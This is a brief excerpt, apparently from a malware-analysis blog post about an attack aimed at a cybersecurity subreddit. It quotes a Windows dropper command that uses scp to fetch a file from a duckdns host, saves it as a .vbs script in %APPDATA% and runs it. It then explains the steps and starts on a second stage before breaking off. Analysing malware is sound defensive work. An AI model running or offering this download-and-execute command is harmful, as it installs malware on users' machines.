http://tweedge32j4ib2hrj57l676twj2rwedkkkbr57xcz5z73vpkolws6vid.onion/2023/malware-targeting-cybersecurity-subreddit
\Windows\system32\cmd.exe /c "scp -o StrictHostKeyChecking=no
[email protected]:/bd/BRFQ %APPDATA%\uey.vbs" & %APPDATA%\uey.vbs Or in
English: The “link” being opened is actually starting up a command prompt on their local machine 3 Their system connects to hta4lyfeohyea.duckdns.org using SSH, logging in as user bd , and downloading the remote file /bd/BRFQ to be saved locally as %APPDATA%\uey.vbs Then executes %APPDATA%\uey.vbs Stage 2: Another Dropper (.vbs) %APPDATA%\uey.vbs...